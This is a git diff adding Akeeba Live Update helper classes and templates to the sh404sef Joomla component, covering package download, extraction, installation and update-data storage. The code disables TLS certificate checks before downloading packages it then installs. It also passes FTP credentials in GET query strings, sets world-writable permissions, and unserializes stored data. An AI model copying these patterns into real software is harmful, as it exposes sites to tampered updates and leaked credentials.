'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; + $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); + $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); + if($user) { + $url .= '&username='.urlencode($user).'&password='.urlencode($pass); + } + + // Do we have SRP installed yet? + $app = JFactory::getApplication(); + $jResponse = $app->triggerEvent('onSRPEnabled'); + $status = false; + if(!empty($jResponse)) { + $status = false; + foreach($jResponse as $response) + { + $status = $status || $response; + } + } + + // SRP enabled, use it + if($status) { + $return = $url; + $url = $model->getSRPURL($return); + if(!$url) { + $url = $return; + } + } + + $this->setRedirect($url); + } + $this->redirect(); + } + + public function install() + { + $ftp = $this->setCredentialsFromRequest('ftp'); + $model = $this->getThisModel(); + $result = $model->install(); + if(!$result) { + // Installation failed + $model->cleanup(); + //$this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); + $this->setRedirect('index.php?option=com_sh404sef'); + $this->redirect(); + } else { + // Installation successful. Show the installation message. + $cache = JFactory::getCache('mod_menu'); + $cache->clean(); + + $this->display(); + } + } + + public function cleanup() + { + // Perform the cleanup + $ftp = $this->setCredentialsFromRequest('ftp'); + $model = $this->getThisModel(); + $model->cleanup(); + + // Force reload update information + $dummy = LiveUpdate::getUpdateInformation(true); + + die('OK'); + } + + /** + * Displays the current view + * @param bool $cachable Ignored! + */ + public final function display($cachable = false, $urlparams = false) + { + $viewLayout = JRequest::getCmd( 'layout', 'default' ); + + $view = $this->getThisView(); + + // Get/Create the model + $model = $this->getThisModel(); + $view->setModel($model, true); + + // Assign the FTP credentials from the request, or return TRUE if they are required + JLoader::import('joomla.client.helper'); + $ftp = $this->setCredentialsFromRequest('ftp'); + $view->assignRef('ftp', $ftp); + + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + } + + public final function getThisView() + { + static $view = null; + + if(is_null($view)) + { + $basePath = $this->basePath; + $tPath = dirname(__FILE__).'/tmpl'; + + require_once('view.php'); + $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); + } + + return $view; + } + + public final function getThisModel() + { + static $model = null; + + if(is_null($model)) + { + require_once('model.php'); + $model = new LiveUpdateModel(); + $task = $this->task; + + $model->setState( 'task', $task ); + + $app = JFactory::getApplication(); + $menu = $app->getMenu(); + if (is_object( $menu )) + { + $item = $menu->getActive(); + if ($item) + { + $params = $menu->getParams($item->id); + // Set Default State Data + $model->setState( 'parameters.menu', $params ); + } + } + + } + + return $model; + } + + private function setCredentialsFromRequest($client) + { + // Determine wether FTP credentials have been passed along with the current request + JLoader::import('joomla.client.helper'); + $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); + $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); + if ($user != '' && $pass != '') + { + // Add credentials to the session + if (JClientHelper::setCredentials($client, $user, $pass)) { + $return = false; + } else { + $return = JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); + } + } + else + { + // Just determine if the FTP input fields need to be shown + $return = !JClientHelper::hasCredentials('ftp'); + } + + return $return; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/download.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/download.php new file mode 100644 index 00000000..da970f8f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/download.php @@ -0,0 +1,471 @@ + + */ + +defined('_JEXEC') or die(); + +/** + * Allows downloading packages over the web to your server + */ +class LiveUpdateDownloadHelper +{ + protected static $_errorMsg = ''; + protected static $_errorNum = 0; + /** + * Downloads from a URL and saves the result as a local file + * + * @param string $url The URL to fetch + * @param string $target Where to save the file + * + * @return boolean True on success + */ + public static function download($url, $target, &$errorMsg) + { + // Import Joomla! libraries + JLoader::import('joomla.filesystem.file'); + + /** @var bool Did we try to force permissions? */ + $hackPermissions = false; + + // Make sure the target does not exist + if (JFile::exists($target)) + { + if (!@unlink($target)) + { + JFile::delete($target); + } + } + + // Try to open the output file for writing + $fp = @fopen($target, 'wb'); + + if ($fp === false) + { + // The file can not be opened for writing. Let's try a hack. + $empty = ''; + if (JFile::write($target, $empty)) + { + if (self::chmod($target, 511)) + { + $fp = @fopen($target, 'wb'); + $hackPermissions = true; + } + } + } + + $result = false; + + if ($fp !== false) + { + // First try to download directly to file if $fp !== false + $adapters = self::getAdapters(); + $result = false; + + while (!empty($adapters) && ($result === false) && self::$_errorNum != 22) + { + // Run the current download method + $method = 'get' . strtoupper(array_shift($adapters)); + $result = self::$method($url, $fp); + + // Check if we have a download + if ($result === true) + { + // The download is complete, close the file pointer + @fclose($fp); + + // If the filesize is not at least 1 byte, we consider it failed. + clearstatcache(); + $filesize = @filesize($target); + + if ($filesize <= 0) + { + $result = false; + $fp = @fopen($target, 'wb'); + } + } + } + + // If we have no download, close the file pointer + if ($result === false) + { + @fclose($fp); + } + } + + if ($result === false) + { + // Delete the target file if it exists + if (file_exists($target)) + { + if (!@unlink($target)) + { + JFile::delete($target); + } + } + // Download and write using JFile::write(); + $download = self::downloadAndReturn($url); + if(!empty($download)) + { + $result = JFile::write($target, $download); + } + } + if(!empty(self::$_errorMsg)) + { + $errorMsg = self::$_errorMsg; + } + return $result; + } + + /** + * Downloads from a URL and returns the result as a string + * + * @param string $url The URL to download from + * + * @return mixed Result string on success, false on failure + */ + public static function downloadAndReturn($url) + { + $adapters = self::getAdapters(); + $result = false; + + while (!empty($adapters) && ($result === false)) + { + // Run the current download method + $method = 'get' . strtoupper(array_shift($adapters)); + $result = self::$method($url, null); + } + + return $result; + } + + /** + * Does the server support PHP's cURL extension? + * + * @return boolean True if it is supported + */ + private static function hasCURL() + { + static $result = null; + + if (is_null($result)) + { + $result = function_exists('curl_init'); + } + + return $result; + } + + /** + * Downloads the contents of a URL and writes them to disk (if $fp is not null) + * or returns them as a string (if $fp is null) using cURL + * + * @param string $url The URL to download from + * @param resource $fp The file pointer to download to. Omit to return the contents. + * + * @return boolean|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) + */ + private static function &getCURL($url, $fp = null, $nofollow = false) + { + $result = false; + + $ch = curl_init($url); + $config = new LiveUpdateConfig(); + $config->applyCACert($ch); + + // load installer plugins, and allow url and headers modification + $headers = array(); + JPluginHelper::importPlugin('installer'); + $dispatcher = version_compare(JVERSION, '3.0', 'ge') ? JEventDispatcher::getInstance() : JDispatcher::getInstance(); + $results = $dispatcher->trigger('onInstallerBeforePackageDownload', array(&$url, &$headers)); + if (!empty($headers)) + { + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + } + + if (!@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow) + { + // Safe Mode is enabled. We have to fetch the headers and + // parse any redirections present in there. + curl_setopt($ch, CURLOPT_AUTOREFERER, true); + curl_setopt($ch, CURLOPT_FAILONERROR, true); + curl_setopt($ch, CURLOPT_HEADER, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + + // Get the headers + $data = curl_exec($ch); + curl_close($ch); + + // Init + $newURL = $url; + + // Parse the headers + $lines = explode("\n", $data); + + foreach ($lines as $line) + { + if (substr($line, 0, 9) == "Location:") + { + $newURL = trim(substr($line, 9)); + } + } + + // Download from the new URL + if ($url != $newURL) + { + return self::getCURL($newURL, $fp); + } + else + { + return self::getCURL($newURL, $fp, true); + } + } + else + { + @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); + } + + curl_setopt($ch, CURLOPT_AUTOREFERER, true); + curl_setopt($ch, CURLOPT_FAILONERROR, true); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + // Pretend we are IE7, so that webservers play nice with us + curl_setopt($ch, CURLOPT_USERAGENT, + 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); + + if (is_resource($fp)) + { + curl_setopt($ch, CURLOPT_FILE, $fp); + } + + $result = curl_exec($ch); + if(empty($result)) + { + self::$_errorNum = curl_errno($ch); + self::$_errorMsg = self::$_errorNum . ' - ' . curl_error($ch); + } + curl_close($ch); + + return $result; + } + + /** + * Does the server support URL fopen() wrappers? + * + * @return boolean + */ + private static function hasFOPEN() + { + static $result = null; + + if (is_null($result)) + { + // If we are not allowed to use ini_get, we assume that URL fopen is + // disabled. + if (!function_exists('ini_get')) + { + $result = false; + } + else + { + $result = ini_get('allow_url_fopen'); + } + } + + return $result; + } + + /** + * Downloads the contents of a URL and writes them to disk (if $fp is not null) + * or returns them as a string (if $fp is null) using fopen() URL wrappers + * + * @param string $url The URL to download from + * @param resource $fp The file pointer to download to. Omit to return the contents. + * + * @return boolean|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) + */ + private static function &getFOPEN($url, $fp = null) + { + $result = false; + + // Track errors + if (function_exists('ini_set')) + { + $track_errors = ini_set('track_errors', true); + } + + // Open the URL for reading + if (function_exists('stream_context_create')) + { + // load installer plugins, and allow url and headers modification + $headers = array(); + JPluginHelper::importPlugin('installer'); + $dispatcher = version_compare(JVERSION, '3.0', 'ge') ? JEventDispatcher::getInstance() : JDispatcher::getInstance(); + $results = $dispatcher->trigger('onInstallerBeforePackageDownload', array(&$url, &$headers)); + + // set headers + $headersString = ''; + if (!empty($headers)) + { + foreach ($headers as $key => $value) + { + $headersString .= $key . ': ' . $value . "\r\n"; + } + } + + // PHP 5+ way (best) + $httpopts = array( + 'header' => $headersString, + 'user_agent' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)', + 'timeout' => 10.0,); + $context = stream_context_create(array('http' => $httpopts)); + $ih = @fopen($url, 'r', false, $context); + } + else + { + // PHP 4 way (actually, it's just a fallback as we can't run this code in PHP4) + if (function_exists('ini_set')) + { + ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); + } + $ih = @fopen($url, 'r'); + } + + // If fopen() fails, abort + if (!is_resource($ih)) + { + return $result; + } + + // Try to download + $bytes = 0; + $result = true; + $return = ''; + while (!feof($ih) && $result) + { + $contents = fread($ih, 4096); + if ($contents === false) + { + @fclose($ih); + $result = false; + return $result; + } + else + { + $bytes += strlen($contents); + if (is_resource($fp)) + { + $result = @fwrite($fp, $contents); + } + else + { + $return .= $contents; + unset($contents); + } + } + } + + @fclose($ih); + + if (is_resource($fp)) + { + return $result; + } + elseif ($result === true) + { + return $return; + } + else + { + return $result; + } + } + + /** + * Detect and return available download methods + * + * @return array + */ + private static function getAdapters() + { + // Detect available adapters + $adapters = array(); + if (self::hasCURL()) + $adapters[] = 'curl'; + if (self::hasFOPEN()) + $adapters[] = 'fopen'; + return $adapters; + } + + /** + * Change the permissions of a file, optionally using FTP + * + * @param string $file Absolute path to file + * @param int $mode Permissions, e.g. 0755 + * + * @return boolean Ture if successful + */ + private static function chmod($path, $mode) + { + if (is_string($mode)) + { + $mode = octdec($mode); + if (($mode < 0600) || ($mode > 0777)) + $mode = 0755; + } + + // Initialize variables + JLoader::import('joomla.client.helper'); + $ftpOptions = JClientHelper::getCredentials('ftp'); + + // Check to make sure the path valid and clean + $path = JPath::clean($path); + + if ($ftpOptions['enabled'] == 1) + { + // Connect the FTP client + JLoader::import('joomla.client.ftp'); + if (version_compare(JVERSION, '3.0', 'ge')) + { + $ftp = JClientFTP::getInstance($ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass']); + } + else + { + if (version_compare(JVERSION, '3.0', 'ge')) + { + $ftp = JClientFTP::getInstance($ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass']); + } + else + { + $ftp = JFTP::getInstance($ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass']); + } + } + } + + if (@chmod($path, $mode)) + { + $ret = true; + } + elseif ($ftpOptions['enabled'] == 1) + { + // Translate path and delete + JLoader::import('joomla.client.ftp'); + $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); + // FTP connector throws an error + $ret = $ftp->chmod($path, $mode); + } + else + { + return false; + } + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/inihelper.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/inihelper.php new file mode 100644 index 00000000..7cfa84f7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/inihelper.php @@ -0,0 +1,142 @@ + + */ + +defined('_JEXEC') or die(); + +/** + * A smart INI file parser with reproducible behaviour among different PHP versions + */ +class LiveUpdateINIHelper +{ + /** + * Parse an INI file and return an associative array. Since PHP versions before + * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to + * overcome this obstacle. + * @param string $file The file to process + * @param bool $process_sections True to also process INI sections + * @return array An associative array of sections, keys and values + */ + public static function parse_ini_file( $file, $process_sections, $rawdata = false ) + { + if($rawdata) + { + return self::parse_ini_file_php($file, $process_sections, $rawdata); + } + else + { + if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) + { + if( function_exists('parse_ini_file') ) + { + return parse_ini_file($file, $process_sections); + } + else + { + return self::parse_ini_file_php($file, $process_sections); + } + } else { + return self::parse_ini_file_php($file, $process_sections, $rawdata); + } + } + } + + /** + * A PHP based INI file parser. + * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on + * the parse_ini_file page on http://gr.php.net/parse_ini_file + * @param string $file Filename to process + * @param bool $process_sections True to also process INI sections + * @param bool $rawdata If true, the $file contains raw INI data, not a filename + * @return array An associative array of sections, keys and values + */ + static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) + { + $process_sections = ($process_sections !== true) ? false : true; + + if(!$rawdata) + { + $ini = file($file); + } + else + { + $file = str_replace("\r","",$file); + $ini = explode("\n", $file); + } + + if (count($ini) == 0) {return array();} + + $sections = array(); + $values = array(); + $result = array(); + $globals = array(); + $i = 0; + foreach ($ini as $line) { + $line = trim($line); + $line = str_replace("\t", " ", $line); + + // Comments + if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} + + // Sections + if ($line{0} == '[') { + $tmp = explode(']', $line); + $sections[] = trim(substr($tmp[0], 1)); + $i++; + continue; + } + + // Key-value pair + list($key, $value) = explode('=', $line, 2); + $key = trim($key); + $value = trim($value); + if (strstr($value, ";")) { + $tmp = explode(';', $value); + if (count($tmp) == 2) { + if ((($value{0} != '"') && ($value{0} != "'")) || + preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || + preg_match("/^'.*'\\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ + $value = $tmp[0]; + } + } else { + if ($value{0} == '"') { + $value = preg_replace('/^"(.*)".*/', '$1', $value); + } elseif ($value{0} == "'") { + $value = preg_replace("/^'(.*)'.*/", '$1', $value); + } else { + $value = $tmp[0]; + } + } + } + $value = trim($value); + $value = trim($value, "'\""); + + if ($i == 0) { + if (substr($line, -1, 2) == '[]') { + $globals[$key][] = $value; + } else { + $globals[$key] = $value; + } + } else { + if (substr($line, -1, 2) == '[]') { + $values[$i-1][$key][] = $value; + } else { + $values[$i-1][$key] = $value; + } + } + } + + for($j = 0; $j < $i; $j++) { + if ($process_sections === true) { + if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; + } else { + if( isset($values[$j]) ) $result[] = $values[$j]; + } + } + + return $result + $globals; + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/model.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/model.php new file mode 100644 index 00000000..bbf0304d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/model.php @@ -0,0 +1,175 @@ + + */ + +defined('_JEXEC') or die(); + +JLoader::import('joomla.application.component.model'); + +if(!class_exists('JoomlaCompatModel')) { + if(interface_exists('JModel')) { + abstract class JoomlaCompatModel extends JModelLegacy {} + } else { + class JoomlaCompatModel extends JModel {} + } +} + +/** + * The Live Update MVC model + */ +class LiveUpdateModel extends JoomlaCompatModel +{ + public function download( & $errorMsg) + { + // Get the path to Joomla!'s temporary directory + $jreg = JFactory::getConfig(); + $tmpdir = $jreg->get('tmp_path'); + + JLoader::import('joomla.filesystem.folder'); + // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's + // being erased periodically and will cause a real mess while installing extensions (Grrr!) + if(realpath($tmpdir) == '/tmp') { + // Someone inform the user that what he's doing is insecure and stupid, please. In the + // meantime, I will fix what is broken. + $tmpdir = JPATH_SITE.'/tmp'; + } // Make sure that folder exists (users do stupid things too often; you'd be surprised) + elseif(!JFolder::exists($tmpdir)) { + // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... + $tmpdir = JPATH_SITE.'/tmp'; + } + + // Oki. Let's get the URL of the package + $updateInfo = LiveUpdate::getUpdateInformation(); + $config = LiveUpdateConfig::getInstance(); + $auth = $config->getAuthorization(); + $url = $updateInfo->downloadURL; + + // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package + $basename = basename($url); + if(strstr($basename,'?')) { + $basename = substr($basename, strstr($basename,'?')+1); + } + if(substr($basename,-4) == '.zip') { + $type = 'zip'; + } elseif(substr($basename,-4) == '.tar') { + $type = 'tar'; + } elseif(substr($basename,-4) == '.tgz') { + $type = 'tar.gz'; + } elseif(substr($basename,-7) == '.tar.gz') { + $type = 'tar.gz'; + } else { + $type = 'zip'; + } + + // Cache the path to the package file and the temp installation directory in the session + $target = $tmpdir.'/'.$updateInfo->extInfo->name.'.update.'.$type; + $tempdir = $tmpdir.'/'.$updateInfo->extInfo->name.'_update'; + + $session = JFactory::getSession(); + $session->set('target', $target, 'liveupdate'); + $session->set('tempdir', $tempdir, 'liveupdate'); + + // Let's download! + require_once dirname(__FILE__).'/download.php'; + $result = LiveUpdateDownloadHelper::download($url, $target, $errorMsg); + return $result; + } + + public function extract() + { + $session = JFactory::getSession(); + $target = $session->get('target', '', 'liveupdate'); + $tempdir = $session->get('tempdir', '', 'liveupdate'); + + JLoader::import('joomla.filesystem.archive'); + return JArchive::extract( $target, $tempdir); + } + + public function install() + { + $session = JFactory::getSession(); + $tempdir = $session->get('tempdir', '', 'liveupdate'); + + JLoader::import('joomla.installer.installer'); + JLoader::import('joomla.installer.helper'); + $installer = JInstaller::getInstance(); + $packageType = JInstallerHelper::detectType($tempdir); + + if(!$packageType) { + $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); + $result = false; + } elseif (!$installer->install($tempdir)) { + // There was an error installing the package + $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); + $result = false; + } else { + // Package installed sucessfully + $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); + $result = true; + } + + $app = JFactory::getApplication(); + $app->enqueueMessage($msg); + $this->setState('result', $result); + $this->setState('packageType', $packageType); + if($packageType) { + $this->setState('name', $installer->get('name')); + $this->setState('message', $installer->message); + $this->setState('extmessage', $installer->get('extension_message')); + } + + return $result; + } + + public function cleanup() + { + $session = JFactory::getSession(); + $target = $session->get('target', '', 'liveupdate'); + $tempdir = $session->get('tempdir', '', 'liveupdate'); + + JLoader::import('joomla.installer.helper'); + JInstallerHelper::cleanupInstall($target, $tempdir); + + $session->clear('target','liveupdate'); + $session->clear('tempdir','liveupdate'); + } + + public function getSRPURL($return = '') + { + $session = JFactory::getSession(); + $tempdir = $session->get('tempdir', '', 'liveupdate'); + + JLoader::import('joomla.installer.installer'); + JLoader::import('joomla.installer.helper'); + JLoader::import('joomla.filesystem.file'); + + $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; + if(!JFile::exists($instModelFile)) { + $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/plugins/models/installer.php'; + }; + if(!JFile::exists($instModelFile)) return false; + + require_once $instModelFile; + $model = JoomlaCompatModel::getInstance('Installer', 'AkeebaModel'); + $packageType = JInstallerHelper::detectType($tempdir); + $name = $model->getExtensionName($tempdir); + + $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); + switch($packageType) { + case 'module': + case 'template': + $url .= '&group='.$name['client']; + break; + case 'plugin': + $url .= '&group='.$name['group']; + break; + } + + if(!empty($return)) $url .= '&returnurl='.urlencode($return); + + return $url; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/component.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/component.php new file mode 100644 index 00000000..a4827518 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/component.php @@ -0,0 +1,103 @@ + + */ +defined('_JEXEC') or die(); + +/** + * Live Update Component Storage Class + * Allows to store the update data to a component's parameters. This is the most reliable method. + * Its configuration options are: + * component string The name of the component which will store our data. If not specified the extension name will be used. + * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. + */ +class LiveUpdateStorageComponent extends LiveUpdateStorage +{ + private $component = null; + + private $key = null; + + public function __construct() + { + $this->keyPrefix = ''; + } + + public function load($config) + { + if (!array_key_exists('component', $config)) + { + $this->component = $config['extensionName']; + } + else + { + $this->component = $config['component']; + } + + if (!array_key_exists('key', $config)) + { + $this->key = 'liveupdate'; + } + else + { + $this->key = $config['key']; + } + + // Not using JComponentHelper to avoid conflicts ;) + $db = JFactory::getDbo(); + $sql = $db->getQuery(true) + ->select($db->qn('params')) + ->from($db->qn('#__extensions')) + ->where($db->qn('type') . ' = ' . $db->q('component')) + ->where($db->qn('element') . ' = ' . $db->q($this->component)); + $db->setQuery($sql); + $rawparams = $db->loadResult(); + $params = new JRegistry(); + $params->loadString($rawparams, 'JSON'); + + $data = $params->get($this->key, ''); + + JLoader::import('joomla.registry.registry'); + $this->registry = new JRegistry('update'); + + $this->registry->loadString($data, 'INI'); + } + + public function save() + { + $data = $this->registry->toString('INI'); + + $db = JFactory::getDBO(); + + // An interesting discovery: if your component is manually updating its + // component parameters before Live Update is called, then calling Live + // Update will reset the modified component parameters because + // JComponentHelper::getComponent() returns the old, cached version of + // them. So, we have to forget the following code and shoot ourselves in + // the feet. Dammit!!! + $sql = $db->getQuery(true) + ->select($db->qn('params')) + ->from($db->qn('#__extensions')) + ->where($db->qn('type') . ' = ' . $db->q('component')) + ->where($db->qn('element') . ' = ' . $db->q($this->component)); + $db->setQuery($sql); + $rawparams = $db->loadResult(); + $params = new JRegistry(); + $params->loadString($rawparams, 'JSON'); + + $params->set($this->key, $data); + + $data = $params->toString('JSON'); + $sql = $db->getQuery(true) + ->update($db->qn('#__extensions')) + ->set($db->qn('params') . ' = ' . $db->q($data)) + ->where($db->qn('type') . ' = ' . $db->q('component')) + ->where($db->qn('element') . ' = ' . $db->q($this->component)); + + $db->setQuery($sql); + $db->execute(); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/file.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/file.php new file mode 100644 index 00000000..438fd4ba --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/file.php @@ -0,0 +1,80 @@ + + */ +defined('_JEXEC') or die(); + +/** + * Live Update File Storage Class + * Allows to store the update data to files on disk. Its configuration options are: + * path string The absolute path to the directory where the update data will be stored as INI files + * + */ +class LiveUpdateStorageFile extends LiveUpdateStorage +{ + private $filename = null; + private $extname = null; + + public function __construct() + { + } + + public function load($config) + { + JLoader::import('joomla.registry.registry'); + JLoader::import('joomla.filesystem.file'); + + if (array_key_exists('path', $config)) + { + $path = $config['path']; + } + else + { + $path = JPATH_CACHE; + } + $extname = $config['extensionName']; + $filename = "$path/$extname.updates.php"; + + // Kill old files + $filenameKill = "$path/$extname.updates.ini"; + if (JFile::exists($filenameKill)) + { + JFile::delete($filenameKill); + } + + $this->filename = $filename; + $this->extname = $extname; + + $this->registry = new JRegistry('update'); + + if (JFile::exists($this->filename)) + { + // Workaround for broken JRegistryFormatPHP API... + @include_once $this->filename; + + $className = 'LiveUpdate' . ucwords($extname) . 'Cache'; + + if (class_exists($className)) + { + $object = new $className; + $this->registry->loadObject($object); + } + } + } + + public function save() + { + JLoader::import('joomla.registry.registry'); + JLoader::import('joomla.filesystem.file'); + + $options = array( + 'class' => 'LiveUpdate' . ucwords($this->extname) . 'Cache' + ); + $data = $this->registry->toString('PHP', $options); + JFile::write($this->filename, $data); + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/storage.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/storage.php new file mode 100644 index 00000000..ade910e9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/storage/storage.php @@ -0,0 +1,125 @@ + + */ +defined('_JEXEC') or die(); + +/** + * Abstract class for the update parameters storage + * @author nicholas + * + */ +abstract class LiveUpdateStorage +{ + /** + * @var JRegistry The update data registry + */ + protected $registry = null; + + /** + * @var string The key prefix for the registry data + */ + protected $keyPrefix = 'update.'; + + /** + * Singleton implementation + * + * @param string $type Storage tyme (file, component) + * @param array $config Configuration array + * + * @return LiveUpdateStorage + */ + public static function getInstance($type, $config) + { + static $instances = array(); + + $sig = md5($type, serialize($config)); + if (!array_key_exists($sig, $instances)) + { + $className = 'LiveUpdateStorage' . ucfirst($type); + + if (!class_exists($className)) + { + require_once __DIR__ . '/' . strtolower($type) . '.php'; + } + + $object = new $className($config); + $object->load($config); + + $instances[$sig] = $object; + } + + return $instances[$sig]; + } + + /** + * Set a value to the storage registry. Automatically encodes updatedata. + * + * @param string $key The key to set + * @param mixed $value The value of the key to set + * + * @return void + */ + public final function set($key, $value) + { + if ($key == 'updatedata') + { + if (function_exists('base64_encode') && function_exists('base64_decode')) + { + $value = base64_encode(serialize($value)); + } + else + { + $value = serialize($value); + } + } + + $this->registry->set($this->keyPrefix . $key, $value); + } + + /** + * Read a value from the storage registry + * + * @param string $key The key to read + * @param mixed $default The default value of the key, if the key is not present + * + * @return mixed The value of the key + */ + public final function get($key, $default) + { + $value = $this->registry->get($this->keyPrefix . $key, $default); + + if ($key == 'updatedata') + { + if (function_exists('base64_encode') && function_exists('base64_decode')) + { + $value = unserialize(base64_decode($value)); + } + else + { + $value = unserialize($value); + } + } + + return $value; + } + + /** + * Save the contents of the registry to the appropriate storage + * + * @return void + */ + abstract public function save(); + + /** + * Load data from the storage + * + * @param array The configuration options + * + * @return void + */ + abstract public function load($config); +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/install.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/install.php new file mode 100644 index 00000000..ac5011db --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/install.php @@ -0,0 +1,34 @@ + + */ + +defined( '_JEXEC' ) or die(); + +$state = $this->get('State'); +$message1 = $state->get('message'); +$message2 = $state->get('extmessage'); +?> + + + + + + + + + + + + + +
    + +

    + Powered by Akeeba Live Update +

    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/nagscreen.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/nagscreen.php new file mode 100644 index 00000000..7bf128f1 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/nagscreen.php @@ -0,0 +1,28 @@ + + */ + +defined('_JEXEC') or die(); + +$stability = JText::_('LIVEUPDATE_STABILITY_'.$this->updateInfo->stability); +?> + +
    + +
    +

    + +

    updateInfo->version, $stability) ?>

    +
    +

    + +

    + +

    + Powered by Akeeba Live Update +

    + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/overview.php b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/overview.php new file mode 100644 index 00000000..8d572743 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/classes/tmpl/overview.php @@ -0,0 +1,142 @@ + + */ + +defined('_JEXEC') or die(); + +JHtml::_('behavior.framework'); +JHtml::_('behavior.modal'); +?> + +
    + + updateInfo->releasenotes): ?> +
    +
    +
    + updateInfo->releasenotes ?> +
    +
    +
    + + + updateInfo->supported): ?> +
    +

    + +

    +

    + escape($this->updateInfo->extInfo->updateurl) ?> +

    +

    escape($this->updateInfo->extInfo->title)); ?>

    +

    + +

    +
    + + updateInfo->stuck):?> +
    +

    + +

    +

    escape($this->updateInfo->extInfo->title)); ?>

    + +

    + +

    +
    + + + updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; + $auth = $this->config->getAuthorization(); + $auth = empty($auth) ? '' : '?'.$auth; + ?> + needsAuth): ?> +

    + +
